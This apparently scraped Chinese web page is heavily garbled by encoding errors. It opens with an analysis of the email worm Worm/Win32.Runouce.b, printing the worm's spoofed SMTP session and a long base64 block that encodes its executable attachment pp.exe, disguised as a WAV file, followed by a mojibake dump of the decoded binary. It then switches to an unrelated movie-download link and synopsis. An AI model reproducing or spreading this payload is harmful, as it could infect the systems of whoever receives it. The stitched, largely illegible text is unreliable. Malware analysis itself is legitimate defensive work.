https://wuyoujqdcom?dc=BUYI 91

㈠ Worm/Win32.Runouce.b[Email]鐨勭綉緇滆屼負

鍗忚錛歍CP
絝鍙ｏ細139 445
鎻忚堪錛氶氳繃浠ヤ笂絝鍙ｅ彂閫佹伓鎰忛偖浠訛紝閭浠跺唴瀹癸細
HELO btamail.net.cn
MAIL FROM: [email protected]
RCPT TO:
DATA
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
--#BOUNDARY#
Content-Type: text/html
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name=pp.exe
Content-id: THE-CID
TVpQAAIAAAAEAA8A//AA4ftAnNIbg
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A4ACOgQsBAhkAAgAAAAYAAAAAAAAA
AAAAAAEAAAIAAAAAAQAAAQAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQ09ERQAAAAAAEAAAABAAA
AAAAAAAAAAEAAAMAuaWRhdGEAAAAQ
AAAAAAAAAAAAAAAAAAQAAA8AAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//ge4AEAAAZoE+TVp18w+3fjwD/otveAPui10g
A94zwIvWg8MEQIs7A///Im
0JOAAAADoXgQAAIvpVv/T//Qi/DoywYAAIvpVv/T/KuLzeL1iwQk6A0AAABBRFZBUE
kzMi5ETEwA/9CL8OgdBwAAi+lW//9CL8OhcBwAAi+lW/9P8q4vN4vWLBCToDAAAAFdTT
0NLMzIuRExMAP/Qi/DofAcAAIvpVv/T/KuLzeL1i//1YE/1YIC8B0Aszp/1YMagFQ
/1YQ6GgBAACL9OgNAAAAi/+gkAAI1CO5C
uhFCAAAi4boAAAAaGDqAABQ/1Zkg/
j/5lc2VIYWNrZXItMiBNb25pdG9yA
FhqAFD//
vBUAAFBUagBQUGoAagD/VnSL2FiLhugAAABoYOoAAFD/VmRQagBT/1Z4WIP4/
TAACB7AABAABU6OwGAACL/GoQV/9WcIP4/3Qdi9johRMAAGoAagBT/1Y8U+hjCwAAi/xqB1f/VihQVOguAAAAU09GVFdBUkVcTW
/
VP/lqQAAADoAAAAAF+/1Z0WDPAiYbo
B0b2oBagD/0IuW4AAAAA+3WjwD2ou
VLoUBUAAP9WTFBUagBQVWoAagD/Vl
yJhugAAABYaPQBAAD/VkTM6WoAagD/lowAAABQVFD/logAAABqAGj/Dx8A//1ZoC8B0S
4vojZdyFQAAUFRqTpCQkJBSVVP/VlRYg//VlT/VkxUagBQVWoAagBT/1ZYiYboAAAA
WFP/1lQQDoFAAAAFdpZGVDaGFyVG9
ABfbGNyZWF0AOgUAAAAR2V0U3lzdG
amVjdADoDAAAAENsb3NlSGFuZGxlA
AV3JpdGVQcm9jZXNzTWVtb3J5AOgM
JTZXJ2aWNlUHJvY2VzcwDoBgAAAFN
WFkAOgHAAAAX2xvcGVuAOgMAAAAU2
AABGaW5kTmV4dEZpbGVBAOgPAAAAR
lVHlwZUEA6AgAAABXaW5FeGVjAOgQ
hBAOgNAAAATG9hZExpYnJhcnlBACv
MwekC/+6AwAAABNZXNzYWdlQm94QQ
/+DpWIvM6BgAAABSZWdOb3RpZnlDa
4QQDoDAAAAFJlZ09wZW5LZXlBACvM
wekC/+TmV0T3BlbkVudW1BACvMwek
C/+ZWN0AOgOAAAAZ2V0aG9zdGJ5bm
dHVwACvMwekC/+DpWIvM6AwAAADHu
bHQwO666da+IQDoEAAAAMily//
AAAAz/6AwAAADJ57vh1vfS5brDIQA
rzP/g6cgAAABgi30IaAABAABX/1ZsA//1YUg/
gCcguD+AV0BlToqAAAAFpCWeLlw+kz/++lXagHoIAAAAMPpV2oC6BYAAADD6
VdqAugMAAAAw+//+WtAAA
AFlZC8B1CIv8/1UQ697pU/+/3UI/1YYC8B0Zf9
/VhyL2IP4/3QxVFP/////693pVOhAAA
AA69TpU/9WJMcEJC4uAABU//3UI/xLM6cgAAABg6AYAA
+noBAAAANZQQABaw+
//4v8agBX/1Ywg/j/dECL2LgAAQAAUIvEUFf/loAAAABYA8fHAC5lbWzHQAQ
AAAAAagBX/1Zwg/j/dA+L+FdTagDolQQAAFf/VkBT/+hg////PS53YWJ0IT0uYWRjdC
+gVAwAAgewAAQAAVP+
gJT/1Ywg/j/dBCL2Gg0EgAAVFP/VjhT/1ZAycIEAOnIAAAAi30IjV8sU+jZ/v//
BMnCBABqAFP/VihqAlP/VjCD+P90HIvYU+hcAAAAjUcEjU8MjVcUUlFQU/9WLFP/VkCNXyz/N1P/VijJwgQAagBT/1YoagJT/1Y
wg/j//VixT/1ZAjV8s/zdT///4vEagBQ/1Ywgc
QAAQAAg/j//w+EnwAAAIv4V1NqAOgBAwAAV/9WQIt9CGoCagBX/1Y86
uKCJyZWFkbWUuZW1sIiwgbnVsbCwi
+PC9odG1sPgBYanhQV/9WOFP/VkBhycIEAOnIAAAAYIH
sABAAAIv8aAAQAABX/3UI/1Y0D7dHPAP4O/0Ph9QAAABmgT9QRQ+FyQAAAI2f+AAAAA+3TwZJg8Mo4vs73Q+HsQAAAItHKCtDDH
IjA0MUagBQ/3UI/1Y8UIvEagRQ/3UI//3RwUAX8GQAAK0MUiUMQi1MIO
+D7xFo/BkAAFf/dQj/VjiD+P90GGoA
agD/dQj/+v//i/xqAFf/VjCD+P90D4vYU/91COjXAQA
AU//w+EggAAAIvYgewAAQAAi/wz0lJQi8RqAVBT/1Y0WVoLwHRbi8SDwCA7+H
figPlAdEWA+S50PID5MHIPgPk5cjiA+UFyBYD5fnIuM8D8qoD+AXW7gPoBcrYr/IP/BnKvigQkPEB0qDwudKRU6Ej////rnP7C6
wL+xorB/KrrlFP/VkCBxAABAABhycIEAMgAAABgagD/dQj/VjCD+P90cIvYgewAAQAAi/xoAAEAAFdT/1Y0PQABAAB1S4tHYGoA
UFP/VjyLT2SB+QAQAAB3NlFqRFdT///4HEAAEAAFniyoHEAAE
AAFP/VkBhycIEAMgEAABgiWX8gewAEAAAi/z/dQhX6AoCAABQV/
AwAABX/3UM/1Y0g/j//91EP9WOMcEJ
A0KDQpqBFf/dRD//xUaAEBAAD/lrwAAAALwA+FSQEAAGoAagFq
Av+W1AAAAIP4/w+ELgEAAIvYZscHAgBqGf++WzAAAAAvAD4TyAAAAi0AQiwC
JRwRqEFdT/5bQAAAAg/j/D4TXAAAA/3UIV+jmAAAAagBQV1P/
kEJIv8aAAwAABX/3UM/1Y0g/j/v8a
gBQV1P//5bEAAAAaKAPAAD/VkToBgAAAFFVSVQNClhqAGoGUFP/lsQAAABo
oA8AAP9WRMdF+AEAAABT/5bYAAAA/5bAAAAAi2X8YYtF+MnCCADIBAAAYLgAAQAAK+CL1FBUUv+WgAAAAFjoHQIAAEhFTE8gYnR
FQgVE86ICVzDQpEQVRBDQpGUk9NOi
VmVyc2lvbjogMS4wDQpDb250ZW50L
PVU5EQVJZIw0KQ29udGVudC1UeXBl
FibGUNCg0KPGh0bWw+PEhFQUQ+PC9
UQgaGVpZ2h0PTNEMCB3aWR0aD0zRD
A+PC9pZnJhbWU+9udGVudC1UeXBlO
uZzogYmFzZTY0DQpDb250ZW50LWlk
OiBUSEUtQ0lEDQoNCgBYi/xX/3UMV/91DFD/dQj/lpwAAACL54lF/
zQ1Njc4OSsvAF6LfRCLVQzB4gMz2z
PAuQYAAADR4FP/dQjoMAAAAEp0DUPi74oEBvyq/0X8695J0+CKBAb8qv9F/
/NgAAZGeJJgAA6BwAAAD/Moki/+DpWOgPAAAAiyKP
AmRnjwYAAFlZ/+Dp6AQAAACI/hIAWsPpyAAAAOgIAAAA6NH/////
AAf//AAK4AAdAAAEaACIBAAK6EAABDh+
AQAHAwABCgAGUAADBAAGAgAFEAACI
AAyAAAwIAAwgADkAAAsAuaWRhdGEA
/wD/AP8Aa8P/JTAwQAD/AP8A/wD9KDAACjgwAAIwMAA
/wD/APkAAF+KB0cKwHQNUIvEagFQU/9WOFjr7A+2D0
fjEVFQi8RqAVBT/1Y4WFni8evVw+nIAAAAgewAAQAAM/aL/Ga4DQq5DAAAAPzzZqvo9vD//4sUtAPhigJC/KoKwHX36AkAAAC3o
svNz/vPogDoBAAAAMbz03dYagD/EAvAdFeL2OgEAAAAmMLRd1hqBVP/EAvAdEKL2OgEAAAAruLRd1+B7AAQAABUaAAQAABqDVP/
F4HEABAAAAvAdRtUaAAQAABqDFP//EOlR////6cgAAACLXQiB7AABAAC
L//EFjoBAAAALj/bnlYagBqAGoEagBT/xDoBAAAAEHobnlYaA
ABAABXagFqAFZT//EAvAdCyL2OgEAAAAALTmd1hq/1P/EOgAAAAAWYPBGpCQk
OgEAAAAKnXod1hqAVH/+maPAGaPQAaLdQiLfQyLTRDM
+2HJwgwA6cgAAABgi0UIagBQUGoA/=
緇忚В瀵嗗緱鍒版暟鎹錛 HELO btamail.net.cn
MAIL FROM: [email protected]
RCPT TO:
DATA
FROM: [email protected]
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary=#BOUNDARY#
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name=pp.exe
Content-Transfer-Encoding: base64
Content-id: THE-CID
MZP ?@ ????L?鎮橳his program must be run under Win32 $7PEL ?楗ㄥ返 D @ ` 0N@ CODE `DATA @?idata 0 @?reloc?@? @?%00@(08000F0F0KERNEL32.dllSleep 0`妗 濯$ ?ah @鐬刌? 浣???f?MZu?絀< 䦆ox 棰] ?緙瘋盁?@? ? GetProcAddress^3鏉 ??瓚楠]$ ??C濯 榪 ?榪婄Τ瀛呭$閼 瀣甐??瀣愭?$?USER32.DLL?濠?瀣甐??瀣愭?$?ADVAPI32.DLL?濠?瀣甐??瀣愭?$?MPR.DLL?濠墮憣瀣甐??瀣愭?$?WSOCK32.DLL?濠墮懎瀣甐??瀣愭╁?ChineseHacker-2jj? ? 緙 娑? j P? 閼 瀣?瀣糷`?D鑵奸枀閽 ? 宕 ?? 宀-鎮欐倧 閴 妤 宀;鎮欐倧 閼 姊 宕?鏋 宀-鎮欐倧 ? 鏋 宀;鎮欐倧 閻 濯秇`P?d鍑?V閻筤?Net Send * My god! Some one killed ChineseHacker-2 MonitorXjP? 闇歒鏋 閼 孌峗濯跺?濯跺 濯跺& 濠〥澧杅 宕?PTjPPjj?t瀣漍濯秇`P?dPjS?xX鍑? 娑昖?^鑳璝閻 鏌侀枀閻 渚 T妗 瀛卝 W?p鍑? 瀣濋懙 jjS?XjxPW?8S?@a闄 妲縛渚 瀛卙 W? ?4 紼< ??鍥媐?PE 鍚峰瘡 紼 I鍏(鎮;?鍤ゅ┇(+C r# C jP? ? --#BOUNDARY# MIME-Version: 1.0 Content-Type: audio/x-wav; name=pp.exe Content-Transfer-Encoding: base64 Content-id: THE-CID X瀛匴? W? P? ?婀呴悧E榧 a濠???`鑽呴惏+/^濯 濠 鑿 3?鎷 鐕昐? ?Jt C鎬? ???杞誇綑? ????M?=??寤揳濠??QRV濯 濠 瀣旈櫟 ? 椴?璋? 鑰漐Y闄 XQ??闁恎?dg?????闁???dg?YY??鍫 Z鐬?鏌??琛Y濠 澧3閮?閼 MZP ? @ ?
&not;???L?鎮橳his program must be run under Win32 $7鍦E L ?楗 宸 @ P 0 N @ SCODE `DATA @ ?idata 0 @ ?reloc @ @ P???%00@??0 80 00 F0 F0 KERNEL32.dll Sleep? 0???G 緙 P瀣唈 PS?8X鑵 ?G?QP瀣唈 PS?8XY鎬﹁儩鐬勪緟 3榘﹂護? ??f?椴???閲 B?綰旈簰 鍙戦佹秷鎮?浼佽РXj?緙╓瀣?妯庤Xj S?緙˙瀣??瑜_渚 Th j S?浼 綰 Th j S?F鍐﹗ 浼 闄 ?B$?Xh??闀??钁朷 渚 瀛?Runonce^h ?楠nyXTWjjVS?X??nyXjjj jS??A閼瀥Xh Wj jVS?鑳欐Э?鐠遍懅X? jh?&not;?緙,瀣?瀛榳Xj??Y鍏 鎮欐劘 *u閼Xj Q?闄 妲縛P L$⺋鍏 ?濠 ?`?鍩 ??閿ff寤 濯 濯 濠 甯朼闄 妲縛濠 jPPj?鎮掗檿
瑙ｅ瘑涔嬪悗鍙戠幇璇ュ唴瀹逛負PE鍙鎵ц屾枃浠訛紝鐥呮瘨璋冪敤緋葷粺鑷甯︾殑Outlook Express鍙戦佹伓鎰忛偖浠訛紝鐥呮瘨鍒╃敤鍙戦佹伓鎰忛偖浠舵潵浼犳挱鑷韜銆
娉錛%System32%鏄涓涓鍙鍙樿礬寰勩傜棶姣掗氳繃鏌ヨ㈡搷浣滅郴緇熸潵鍐沖畾褰撳墠System鏂囦歡澶圭殑浣嶇疆銆
%Windir% 銆 銆 WINDODWS鎵鍦ㄧ洰褰
%DriveLetter%銆 銆閫昏緫椹卞姩鍣ㄦ牴鐩褰
%ProgramFiles%銆 銆 銆 緋葷粺紼嬪簭榛樿ゅ畨瑁呯洰褰
%HomeDrive% 銆 褰撳墠鍚鍔ㄧ殑緋葷粺鐨勬墍鍦ㄥ垎鍖
%Documents and Settings% 銆褰撳墠鐢ㄦ埛鏂囨。鏍圭洰褰
%Temp% 銆Documents and Settings褰撳墠鐢ㄦ埛Local SettingsTemp
%System32% 銆緋葷粺鐨 System32鏂囦歡澶
Windows2000/NT涓榛樿ょ殑瀹夎呰礬寰勬槸C:WinntSystem32
windows95/98/me涓榛樿ょ殑瀹夎呰礬寰勬槸%WINDOWS%System
windowsXP涓榛樿ょ殑瀹夎呰礬寰勬槸%system32%

㈡ 璋佹湁鐢靛獎銆婂嶮浜岀敓鑲栥嬬殑鐧懼害浜戠洏閾炬帴錛

銆婂嶮浜岀敓鑲栥嬬櫨搴︾綉鐩橀珮娓呰祫婧愬厤璐瑰湪綰胯傜湅

閾炬帴: https://pan..com/s/13Bl_h-ZaaW-xeO4_Zr0tdw

銆婂嶮浜岀敓鑲栥嬫槸涓閮ㄥ姩浣滃啋闄╃被鐢靛獎錛屾槸鎴愰緳鐨勭101閮ㄧ數褰憋紝鐢辨垚榫欐墽瀵礆紝钁ｉ煹璇楃洃鍒訛紝鎴愰緳銆佸氭槦褰ゃ佸粬鍑°佸紶钃濆績鍜屾潈鐩鎬綉絳変富婕斻傚栨櫙鍦板寘鎷宸撮粠銆佸寳浜銆佸彴婀俱侀欐腐銆佹境澶у埄浜氬拰鎷夎劚緇翠簹絳夊湴銆傚獎鐗囦簬2012騫12鏈20鏃ヤ互2D銆3D銆両MAX-3D鍦ㄤ腑鍥藉唴鍦板叏綰誇笂鏄